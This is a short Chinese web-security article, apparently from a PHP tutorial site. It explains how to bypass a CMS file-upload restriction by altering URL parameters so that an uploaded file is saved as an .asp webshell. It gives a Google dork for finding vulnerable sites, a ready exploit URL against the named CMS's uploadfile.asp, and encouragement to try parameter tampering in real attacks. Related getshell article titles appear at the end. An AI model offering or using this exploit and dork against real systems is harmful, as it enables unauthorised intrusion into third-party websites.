修改url的参数进行突破上传限制拿webshell

修改url的参数进行突破上传限制拿webshell - 网站安

来源：自学PHP网时间：2015-04-17 11:59 作者：阅读:次

[导读] 大家可能都看见过这样的漏洞，这里以疯子的嘉友科技cms上传漏洞为例。谷歌关键字：inurl:newslist.asp?NodeCode=exp：admin/uploadfile.asp?uppath=mad.aspupname=uptext=form1.mad.asp他原上传目录是:/upload.....

大家可能都看见过这样的漏洞，这里以疯子的嘉友科技cms上传漏洞为例。

谷歌关键字：inurl:newslist.asp?NodeCode=

exp：
admin/uploadfile.asp?uppath=mad.asp&upname=&uptext=form1.mad.asp

他原上传目录是:/uploadfile.asp?uppath=PicPath&upname=&uptext=form1.PicPath
可以看出对参数PicPath进行了修改，
这种漏洞主要是存在文件名或者路径过滤不严，在实战中多多观察url中的参数，可以尝试进行修改数据。

注入点读绝对路径 - 网站安全 - 自学php

利用post在Ecshop后台getshell的方法 - 网站安全 - 自

子栏目

修改url的参数进行突破上传限制拿webshell - 网站安

最新评论

添加评论

更多文章推荐

添加评论